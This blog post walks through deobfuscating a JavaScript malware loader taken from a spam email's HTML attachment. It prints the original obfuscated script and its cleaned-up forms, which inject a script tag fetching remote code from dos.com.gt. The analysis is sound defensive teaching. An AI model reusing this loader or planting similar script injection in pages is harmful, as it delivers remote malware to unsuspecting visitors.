Alberto Ventafridda
Written on

Deobfuscating a simple html malware loader

Recently I got my hands on a malicious spam email that contained an HTML attachment with the following script:

function a0uqiiqu(){var tvtetaepmuol=['124DmjXwe','src','https://dos.com','512295URcyIF','750664RVFSzX',
'36WPNViT','34947uflpIw','59941oAwubn','createElement','1934810DDyBir','47565AALipC','1944VdGjMp',
'.gt/udu/udu.js?','script','12gOlcLD','200pNfvmM','3438gqVBAW'];a0uqiiqu=function(){return tvtetaepmuol;};
return a0uqiiqu();}var a0tauiqnasu=a0ouetecdcnseettrulcs;(function(uegtaapfalc,ipartuuqsrnae){
var umuqirae=a0ouetecdcnseettrulcs,eedxpatuti=uegtaapfalc();while(!![]){try{var lucesdeteds=-parseInt(
umuqirae(0xe9))/0x1*(parseInt(umuqirae(0xe8))/0x2)+-parseInt(umuqirae(0xed))/0x3+parseInt(umuqirae(0xea)
)/0x4*(-parseInt(umuqirae(0xe3))/0x5)+parseInt(umuqirae(0xe7))/0x6*(-parseInt(umuqirae(0xf1))/0x7)+-
parseInt(umuqirae(0xee))/0x8*(-parseInt(umuqirae(0xef))/0x9)+parseInt(umuqirae(0xf3))/0xa+parseInt(
umuqirae(0xf0))/0xb*(parseInt(umuqirae(0xe4))/0xc);if(lucesdeteds===ipartuuqsrnae)break;else eedxpatuti[
'push'](eedxpatuti['shift']());}catch(ieitmuosrseubp){eedxpatuti['push'](eedxpatuti['shift']());}}}(
a0uqiiqu,0x3eb7d));var incidunt=document[a0tauiqnasu(0xf2)](a0tauiqnasu(0xe6));function 
a0ouetecdcnseettrulcs(uqiiqu,ouetecdcnseettrulcs){var uegtaapfalc=a0uqiiqu();return a0ouetecdcnseettrulcs=
function(ipartuuqsrnae,eedxpatuti){ipartuuqsrnae=ipartuuqsrnae-0xe3;var lucesdeteds=uegtaapfalc[
ipartuuqsrnae];return lucesdeteds;},a0ouetecdcnseettrulcs(uqiiqu,ouetecdcnseettrulcs);}incidunt[a0tauiqnasu(
0xeb)]=a0tauiqnasu(0xec)+a0tauiqnasu(0xe5)+'83642',document['head']['appendChild'](incidunt);

It is a simple loader that downloads and runs an external script from the internet.
The obfuscation is not sophisticated since it’s only there to avoid automated analysis, so despite the scary look, the code is pretty simple to understand.

After formatting everything and renaming some variables, we obtain this code:

function getStrArray() {
  return ["124DmjXwe", "src", "https://dos.com", "512295URcyIF", "750664RVFSzX", "36WPNViT", "34947uflpIw", "59941oAwubn", "createElement", "1934810DDyBir", "47565AALipC", "1944VdGjMp", ".gt/udu/udu.js?", "script", "12gOlcLD", "200pNfvmM", "3438gqVBAW"];
}
function getStrArrayElement(param1, unused_param2) {
    var strArray = getStrArray();
    param1 = param1 - 227;
    return strArray[param1];
}



(function scramble_str_array(getStrArray, hardcodedInteger) {
  var umuqirae = getStrArrayElement, eedxpatuti = getStrArray();
  while (true) {
    try {
      var lucesdeteds = -parseInt(umuqirae(233)) / 1 * (parseInt(umuqirae(232)) / 2) + -parseInt(umuqirae(237)) / 3 + parseInt(umuqirae(234)) / 4 * (-parseInt(umuqirae(227)) / 5) + parseInt(umuqirae(231)) / 6 * (-parseInt(umuqirae(241)) / 7) + -parseInt(umuqirae(238)) / 8 * (-parseInt(umuqirae(239)) / 9) + parseInt(umuqirae(243)) / 10 + parseInt(umuqirae(240)) / 11 * (parseInt(umuqirae(228)) / 12);
      if (lucesdeteds === hardcodedInteger) break; else eedxpatuti.push(eedxpatuti.shift());
    } catch (ieitmuosrseubp) {
      eedxpatuti.push(eedxpatuti.shift());
    }
  }
}(getStrArray, 256893));



var incidunt = document[getStrArrayElement(242)](getStrArrayElement(230));
incidunt[getStrArrayElement(235)] = getStrArrayElement(236) + getStrArrayElement(229) + "83642", document.head.appendChild(incidunt);

Lets break it down:

  • The first block defines an array of strings

  • In the second block a mysterious algorithm inside an infinite loop scrambles the content of the array

  • In the final block the actual payload is defined using strings from the scrambled array

The scrambler algorithm looks pretty complicated. Luckily, we don’t have to understand it. Instead, we can use an old trick and replace the code payload with a string:

var deobfuscated_payload_str = `
  var incidunt = document[${getStrArrayElement(242)}](${getStrArrayElement(230)});

  incidunt[${getStrArrayElement(235)}] = ${getStrArrayElement(236)} + ${getStrArrayElement(229)} + "83642",
    document.head.appendChild(incidunt);
`

console.log(deobfuscated_payload_str)

Now we can safely run the script. Instead of executing its malicious payload, it will kindly print it to us:

var incidunt = document["createElement"]("script");

incidunt["src"] = "https://dos.com" + ".gt/udu/udu.js?" + "83642",
  document.head.appendChild(incidunt);

This is the code that the obfuscation was hiding. As we expected it’s not particularly exciting. More so, the payload it’s trying to load does not exist anymore on that url, so our research on that side ends here.

If you are familiar with javascript obfuscation, you might have recognized all this as the work of obfuscator.io, the most popuar public js obfuscation service.

This service is so popular that there are several deobfuscators that have been developed over the years, like https://github.com/j4k0xb/webcrack or https://github.com/ben-sb/obfuscator-io-deobfuscator

Both these services provide a web gui where you can paste the obfuscated code to see the original. If we paste our obfuscated code in webcrack.netlify.app for example, this is the result:

var incidunt = document.createElement("script");
incidunt.src = "https://dos.com.gt/udu/udu.js?83642";
document.head.appendChild(incidunt);